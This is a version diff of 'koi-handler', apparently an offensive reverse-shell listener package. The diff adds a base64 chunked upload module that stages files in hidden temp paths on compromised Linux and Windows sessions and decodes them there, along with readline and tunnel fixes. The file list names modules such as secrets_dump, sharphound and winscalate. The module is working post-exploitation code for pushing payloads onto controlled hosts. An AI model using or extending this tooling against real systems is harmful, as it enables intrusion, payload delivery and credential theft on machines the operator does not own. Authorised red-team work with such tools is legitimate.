koi-handler 0.11.0__tar.gz → 0.11.2__tar.gz

{koi_handler-0.11.0/src/koi_handler.egg-info → koi_handler-0.11.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: koi-handler
-Version: 0.11.0
+Version: 0.11.2
 Summary: Reverse shell listener
 Requires-Python: >=3.10
 License-File: LICENSE

{koi_handler-0.11.0 → koi_handler-0.11.2}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "koi-handler"
-version = "0.11.0"
+version = "0.11.2"
 description = "Reverse shell listener"
 requires-python = ">=3.10"
 dependencies = [

{koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/listener.py

@@ -2,6 +2,7 @@ from __future__ import annotations
 
 import os
 import re
+import readline
 import select
 import shutil
 import signal
@@ -61,6 +62,32 @@ _CONNECT_POLL = 0.1
 # Never contacted: get_local_ip only reads the routing table for the source IP.
 _DEFAULT_ROUTE_PROBE = "1.1.1.1"
 
+_RL_LIB_UNSET = object()
+_rl_lib = _RL_LIB_UNSET
+
+
+def _readline_lib():
+    # Python's readline module can't swap the prompt readline caches mid-input(),
+    # so reach into the live GNU libreadline for rl_set_prompt/rl_on_new_line.
+    global _rl_lib
+    if _rl_lib is not _RL_LIB_UNSET:
+        return _rl_lib
+    _rl_lib = None
+    try:
+        import ctypes
+        import ctypes.util
+        name = ctypes.util.find_library("readline")
+        if name and "GNU readline" in (readline.__doc__ or ""):
+            lib = ctypes.CDLL(name)
+            lib.rl_set_prompt.argtypes = [ctypes.c_char_p]
+            lib.rl_set_prompt.restype = ctypes.c_int
+            lib.rl_on_new_line.restype = ctypes.c_int
+            lib.rl_redisplay.restype = None
+            _rl_lib = lib
+    except Exception:
+        _rl_lib = None
+    return _rl_lib
+
 
 class _MaskBinary:
     def __init__(self, real, check):
@@ -107,7 +134,6 @@ class Listener:
         self._id_lock = threading.Lock()
         self._running = False
         self._server_sock: Optional[socket.socket] = None
-        self._notify_r, self._notify_w = os.pipe()
         self._in_session = False
         self._pending_notifications: list = []
         self._notif_lock = threading.Lock()
@@ -198,7 +224,6 @@ class Listener:
             except OSError as exc:
                 if not self._running:
                     break
-                os.write(self._notify_w, b"1\n")
                 self._announce('error', f"Accept loop error, retrying: {exc}")
                 time.sleep(0.5)
                 continue
@@ -240,7 +265,6 @@ class Listener:
         os_tag = f" {muted('[')}{sess.os_label()}{muted(']')}" if sess.os_type else ""
         masked_ip = self._mask_ip(sess.addr[0])
         msg = f"{bold(plain(f'#{sess.id}'))}  {plain(masked_ip)}{muted(f':{sess.addr[1]}')}{os_tag}"
-        os.write(self._notify_w, b"1\n")
         self._announce('new', msg)
 
     def _queue_notification(self, msg_type: str, text: str) -> None:
@@ -248,7 +272,10 @@ class Listener:
             self._pending_notifications.append((msg_type, text))
 
     def _announce(self, msg_type: str, text: str, at_prompt: bool = True) -> None:
-        # Redraw prompt+buffer by hand: readline's redisplay() must not run from a background thread.
+        # The notice takes the current line and its newline frees the one below;
+        # we redraw the prompt there with the *fresh* session count. rl_set_prompt
+        # makes readline adopt that prompt so a later keypress doesn't repaint the
+        # stale one; rl_on_new_line resyncs its cursor after the notice scrolled up.
         if self._in_session:
             self._queue_notification(msg_type, text)
             return
@@ -257,13 +284,20 @@ class Listener:
             notify(msg_type, text)
             return
 
-        import readline as _rl
         with self._term_lock:
-            buf = _rl.get_line_buffer()
+            prompt = self._prompt()
             sys.stdout.write("\r\033[K")
             notify(msg_type, text)
-            sys.stdout.write(self._prompt() + buf)
             sys.stdout.flush()
+            lib = _readline_lib()
+            if lib is not None:
+                lib.rl_set_prompt(prompt.encode())
+                lib.rl_on_new_line()
+                lib.rl_redisplay()
+            else:
+                visible = prompt.replace("\001", "").replace("\002", "")
+                sys.stdout.write(visible + readline.get_line_buffer())
+                sys.stdout.flush()
 
     def start(self):
         self._server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -346,17 +380,13 @@ class Listener:
         _ctrlc = 0
         while self._running:
             try:
-                r, _, _ = select.select([self._notify_r], [], [], 0)
-                if r:
-                    os.read(self._notify_r, 4096)
                 raw = input(self._prompt()).strip()
                 self._flush_pending_notifications()
                 _ctrlc = 0
             except EOFError:
                 break
             except KeyboardInterrupt:
-                import readline as _rl
-                had_text = bool(_rl.get_line_buffer().strip())
+                had_text = bool(readline.get_line_buffer().strip())
                 print()
                 self._flush_pending_notifications()
                 if had_text:
@@ -538,9 +568,8 @@ class Listener:
 
     @staticmethod
     def _scrub_last_history() -> None:
-        import readline as _rl
         try:
-            _rl.remove_history_item(_rl.get_current_history_length() - 1)
+            readline.remove_history_item(readline.get_current_history_length() - 1)
         except Exception:
             pass
 

koi_handler-0.11.2/src/koi/modules/upload64.py

@@ -0,0 +1,210 @@
+from __future__ import annotations
+
+import base64
+import os
+
+from koi.modules.blueprint import KoiModule
+from koi.utils.config import TIMEOUTS
+
+_DEFAULT_CHUNK = 49152
+
+
+class Upload64Module(KoiModule):
+    name = "upload64"
+    description = "Upload a file via base64 chunks (for restricted shells)."
+    usage = "upload64 <id> <local_path> [-o <remote_path>] [-c <chunk_size>]"
+    category = "File transfer"
+    platform = ["linux", "windows_ps", "windows_cmd"]
+    arguments = [
+        {"flags": ["local_path"], "help": "Local file to upload"},
+        {"flags": ["-o", "--output"], "default": None,
+         "help": "Remote destination path"},
+        {"flags": ["-c", "--chunk-size"], "type": int, "default": _DEFAULT_CHUNK,
+         "help": f"Base64 bytes per command (default: {_DEFAULT_CHUNK})"},
+    ]
+
+    def run(self) -> None:
+        local_path = self.args.local_path.rstrip("/\\")
+        chunk_size = self.args.chunk_size
+
+        if chunk_size <= 0:
+            self.err("Chunk size must be positive.")
+            return
+
+        if not os.path.isfile(local_path):
+            self.err(f"Local file not found: {local_path}")
+            return
+
+        with open(local_path, "rb") as f:
+            raw = f.read()
+
+        total = len(raw)
+        b64 = base64.b64encode(raw).decode("ascii")
+        basename = os.path.basename(local_path)
+        os_type = self.session.os_type
+
+        if self.args.output:
+            remote_dest = self.args.output
+        elif os_type == "linux":
+            remote_dest = f"./{basename}"
+        else:
+            remote_dest = f".\\{basename}"
+
+        chunks = [b64[i:i + chunk_size] for i in range(0, len(b64), chunk_size)]
+
+        self.status(
+            f"Uploading {basename} via base64 "
+            f"({total:,} bytes, {len(chunks)} chunk(s))..."
+        )
+
+        if os_type == "linux":
+            self._upload_linux(chunks, remote_dest, total)
+        else:
+            self._upload_windows(chunks, remote_dest, total)
+
+    def _upload_linux(self, chunks, dest, expected_size):
+        tmp = f"/tmp/.koi_b64_{self.session.id}"
+        quoted_tmp = self._shell_quote(tmp)
+        quoted_dest = self._shell_quote(dest)
+        timeout = max(TIMEOUTS.get("upload", 30), 30)
+
+        self.exec(f"rm -f {quoted_tmp}", timeout=timeout)
+
+        bar = self.ui.ProgressBar(total=expected_size)
+        n = len(chunks)
+
+        for i, chunk in enumerate(chunks):
+            result = self.exec(
+                f"printf '%s' '{chunk}' >> {quoted_tmp}",
+                timeout=timeout,
+            )
+            if not result.success:
+                bar.done()
+                print()
+                self.err(f"Chunk {i + 1}/{n} failed (rc={result.returncode})")
+                self.exec(f"rm -f {quoted_tmp}", timeout=5)
+                return
+            bar.update(min(expected_size, expected_size * (i + 1) // n))
+
+        bar.done()
+        print()
+
+        with self.spinner("Decoding on target..."):
+            result = self.exec(
+                f"base64 -d {quoted_tmp} > {quoted_dest} && rm -f {quoted_tmp}",
+                timeout=timeout,
+            )
+
+        if not result.success:
+            self.err(
+                f"Decode failed (rc={result.returncode}): "
+                f"{result.stdout.strip()[:200]}"
+            )
+            self.exec(f"rm -f {quoted_tmp} {quoted_dest}", timeout=5)
+            return
+
+        size_str = self._try_exec(f"wc -c < {quoted_dest} 2>/dev/null")
+        try:
+            remote_size = int(size_str.split()[0])
+        except (ValueError, IndexError):
+            remote_size = None
+
+        if remote_size is not None and remote_size != expected_size:
+            self.err(
+                f"Size mismatch: expected {expected_size:,}, "
+                f"got {remote_size:,} on target"
+            )
+            return
+
+        self.box("Upload complete (base64)", {
+            "local path":  os.path.abspath(self.args.local_path),
+            "remote path": dest,
+            "size":        f"{expected_size:,} bytes ({expected_size / 1024:.1f} KB)",
+            "chunks":      str(len(chunks)),
+            "verified":    "yes" if remote_size == expected_size else "size unknown",
+        })
+
+    def _upload_windows(self, chunks, dest, expected_size):
+        ps_dest = self._ps_quote(dest)
+        tmp_name = f"koi_b64_{self.session.id}.txt"
+        timeout = max(TIMEOUTS.get("upload", 30), 30)
+
+        temp_dir = (
+            self._win_query("$env:TEMP", timeout=10).strip()
+            or "C:\\Windows\\Temp"
+        )
+        tmp = f"{temp_dir}\\{tmp_name}"
+        ps_tmp = self._ps_quote(tmp)
+
+        self._win_query(
+            f"Remove-Item '{ps_tmp}' -EA SilentlyContinue", timeout=5,
+        )
+
+        bar = self.ui.ProgressBar(total=expected_size)
+        n = len(chunks)
+
+        for i, chunk in enumerate(chunks):
+            result_raw = self._win_query(
+                f"[IO.File]::AppendAllText('{ps_tmp}','{chunk}');'ok'",
+                timeout=timeout,
+            )
+            if "ok" not in result_raw.lower():
+                bar.done()
+                print()
+                self.err(f"Chunk {i + 1}/{n} failed")
+                self._win_query(
+                    f"Remove-Item '{ps_tmp}' -EA SilentlyContinue", timeout=5,
+                )
+                return
+            bar.update(min(expected_size, expected_size * (i + 1) // n))
+
+        bar.done()
+        print()
+
+        resolved = (
+            "$ExecutionContext.SessionState.Path."
+            f"GetUnresolvedProviderPathFromPSPath('{ps_dest}')"
+        )
+        with self.spinner("Decoding on target..."):
+            result_raw = self._win_query(
+                f"try{{"
+                f"$_b=[Convert]::FromBase64String("
+                f"(Get-Content '{ps_tmp}' -Raw));"
+                f"[IO.File]::WriteAllBytes({resolved},$_b);"
+                f"Remove-Item '{ps_tmp}' -EA SilentlyContinue;"
+                f"'ok'"
+                f"}}catch{{'err:'+$_.Exception.Message}}",
+                timeout=timeout,
+            ).strip()
+
+        if result_raw.startswith("err:"):
+            self.err(f"Decode failed: {result_raw[4:120]}")
+            self._win_query(
+                f"Remove-Item '{ps_tmp}' -EA SilentlyContinue", timeout=5,
+            )
+            return
+
+        size_str = self._win_query(
+            f"(Get-Item -LiteralPath ({resolved}) "
+            f"-EA SilentlyContinue).Length",
+            timeout=timeout,
+        )
+        try:
+            remote_size = int(size_str.strip())
+        except (ValueError, AttributeError):
+            remote_size = None
+
+        if remote_size is not None and remote_size != expected_size:
+            self.err(
+                f"Size mismatch: expected {expected_size:,}, "
+                f"got {remote_size:,} on target"
+            )
+            return
+
+        self.box("Upload complete (base64)", {
+            "local path":  os.path.abspath(self.args.local_path),
+            "remote path": dest,
+            "size":        f"{expected_size:,} bytes ({expected_size / 1024:.1f} KB)",
+            "chunks":      str(len(chunks)),
+            "verified":    "yes" if remote_size == expected_size else "size unknown",
+        })

{koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/agent.py

@@ -3,7 +3,7 @@ from __future__ import annotations
 import asyncio
 import logging
 
-from .stack import Stack
+from .stack import Stack, raise_fd_limit
 from .transport import Channel, client_context
 
 log = logging.getLogger("tunel.agent")
@@ -56,6 +56,7 @@ class Agent:
             self.channel = None
 
     async def run(self) -> None:
+        raise_fd_limit()   # push the soft fd cap to the hard cap so the stack can hold many sockets
         attempts = 0
         while True:
             try:

{koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/packet.py

@@ -285,7 +285,10 @@ def verify_checksum(data: bytes) -> bool:
 
 
 def verify_transport_checksum(ip: IPv4) -> bool:
-    if ip.proto == PROTO_UDP and struct.unpack("!H", ip.payload[6:8])[0] == 0:
-        return True
+    if ip.proto == PROTO_UDP:
+        if len(ip.payload) < UDP.HEADER_LEN:
+            return False  # truncated UDP: reject rather than crash on the checksum field
+        if struct.unpack("!H", ip.payload[6:8])[0] == 0:
+            return True
     pseudo = _pseudo_header(ip.src, ip.dst, ip.proto, len(ip.payload))
     return checksum(pseudo + ip.payload) == 0

{koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/engine/stack.py

@@ -6,6 +6,11 @@ import socket
 import time
 from typing import Callable
 
+try:
+    import resource
+except ImportError:
+    resource = None
+
 from . import packet as P
 from .packet import ICMP, TCP, UDP, IPv4
 from .tcp import TCB, State
@@ -18,6 +23,32 @@ UDP_IDLE_TIMEOUT = 60.0
 CONNECT_TIMEOUT = 10.0
 TICK_INTERVAL = 0.1
 
+FD_HEADROOM = 64
+DEFAULT_MAX_CONNS = 8192
+
+
+def raise_fd_limit() -> None:
+    if resource is None:
+        return
+    try:
+        soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE)
+        if soft < hard:
+            resource.setrlimit(resource.RLIMIT_NOFILE, (hard, hard))
+    except (ValueError, OSError):
+        pass
+
+
+def _conn_budget() -> int:
+    if resource is None:
+        return DEFAULT_MAX_CONNS
+    try:
+        soft, _ = resource.getrlimit(resource.RLIMIT_NOFILE)
+    except (ValueError, OSError):
+        return DEFAULT_MAX_CONNS
+    if soft == resource.RLIM_INFINITY or soft <= 0:
+        return DEFAULT_MAX_CONNS
+    return max(64, soft - FD_HEADROOM)
+
 
 class TcpBridge:
 
@@ -189,14 +220,17 @@ class UdpBridge:
         if self.sock is not None:
             self.sock.close()
             self.sock = None
-        self.stack.udp_flows.pop(self.key, None)
+        if self.stack.udp_flows.get(self.key) is self:
+            self.stack.udp_flows.pop(self.key, None)
 
 
 class Stack:
 
-    def __init__(self, send_packet: Callable[[bytes], None], mtu: int = 1500):
+    def __init__(self, send_packet: Callable[[bytes], None], mtu: int = 1500,
+                 max_conns: int | None = None):
         self.send_packet = send_packet
         self.mtu = mtu
+        self.max_conns = max_conns if max_conns is not None else _conn_budget()
         self.conns: dict[tuple, TcpBridge] = {}
         self.udp_flows: dict[tuple, UdpBridge] = {}
         self._ident = 0
@@ -259,6 +293,10 @@ class Stack:
             self._reject(ip, seg)
 
     def _open(self, ip: IPv4, seg: TCP, key: tuple) -> None:
+        if len(self.conns) + len(self.udp_flows) >= self.max_conns:
+            # at cap: drop the SYN silently (a RST reads as 'closed' to a scan); the client retransmits
+            log.debug("conn cap %d reached, dropping SYN %s:%d", self.max_conns, ip.src, seg.sport)
+            return
         tcb = TCB.accept(
             seg, laddr=ip.dst, raddr=ip.src,
             emit=self._emitter(ip.dst, ip.src), mtu=self.mtu,
@@ -278,7 +316,10 @@ class Stack:
         self.emit_ip(ip.dst, ip.src, P.PROTO_TCP, rst.build(ip.dst, ip.src))
 
     def forget(self, tcb: TCB) -> None:
-        self.conns.pop((tcb.raddr, tcb.rport, tcb.laddr, tcb.lport), None)
+        key = (tcb.raddr, tcb.rport, tcb.laddr, tcb.lport)
+        bridge = self.conns.get(key)
+        if bridge is not None and bridge.tcb is tcb:
+            del self.conns[key]
 
     def _handle_udp(self, ip: IPv4) -> None:
         try:
@@ -293,6 +334,10 @@ class Stack:
             flow.send(dg.payload)
             return
 
+        if len(self.conns) + len(self.udp_flows) >= self.max_conns:
+            log.debug("conn cap %d reached, dropping UDP %s:%d", self.max_conns, ip.src, dg.sport)
+            return
+
         flow = UdpBridge(self, key, src=ip.src, sport=dg.sport, dst=ip.dst, dport=dg.dport)
         self.udp_flows[key] = flow
         flow.send(dg.payload)

{koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi/tunnel/manager.py

@@ -118,7 +118,7 @@ class TunnelManager:
         with self._lock:
             index = self._alloc_index()
             tun = Tunnel(
-                session_id=sid, index=index, tun_name=f"tunel{index}",
+                session_id=sid, index=index, tun_name=f"Koi{index}",
                 address=f"240.0.{index}.1", port=_BASE_PORT + index,
                 psk=secrets.token_urlsafe(24), routes=list(routes),
                 callback_host=self._session_ip(sess),
@@ -221,6 +221,10 @@ class TunnelManager:
 
         self._kill_agent(tun)
 
+        deadline = time.time() + 2.0
+        while (tun.loop is None or tun.task is None) and tun.thread is not None \
+                and tun.thread.is_alive() and time.time() < deadline:
+            time.sleep(0.02)
         if tun.loop is not None and tun.task is not None:
             try:
                 tun.loop.call_soon_threadsafe(tun.task.cancel)
@@ -337,8 +341,23 @@ class TunnelManager:
                 notify('error', f"  {desc} failed: {msg}")
                 self._teardown_device(tun, password=password)
                 return False
+        self._warn_shadowed_routes(tun)
         return True
 
+    def _warn_shadowed_routes(self, tun: Tunnel) -> None:
+        # a route add can hit "File exists" or be shadowed by a more specific local
+        # route; confirm each CIDR actually egresses via the tunnel and warn if not
+        for cidr in tun.routes:
+            try:
+                probe = str(ipaddress.ip_network(cidr, strict=False).network_address)
+            except ValueError:
+                continue
+            proc = subprocess.run(["ip", "route", "get", probe], text=True, capture_output=True)
+            if proc.returncode == 0 and f"dev {tun.tun_name}" not in proc.stdout:
+                notify('warning', f"Route {accent(cidr)} is shadowed by a local route; "
+                                  f"traffic won't enter the tunnel. Use a more specific prefix "
+                                  f"(a tighter /24, or the target /32).")
+
     def _spawn_proxy(self, tun: Tunnel) -> None:
         tun.proxy = Proxy(
             psk=tun.psk, tun_name=tun.tun_name, address=tun.address,

{koi_handler-0.11.0 → koi_handler-0.11.2/src/koi_handler.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: koi-handler
-Version: 0.11.0
+Version: 0.11.2
 Summary: Reverse shell listener
 Requires-Python: >=3.10
 License-File: LICENSE

{koi_handler-0.11.0 → koi_handler-0.11.2}/src/koi_handler.egg-info/SOURCES.txt

@@ -21,6 +21,7 @@ src/koi/modules/secrets_dump.py
 src/koi/modules/sharphound.py
 src/koi/modules/sysinfo.py
 src/koi/modules/upload.py
+src/koi/modules/upload64.py
 src/koi/modules/wifi_enum.py
 src/koi/modules/winscalate.py
 src/koi/tunnel/__init__.py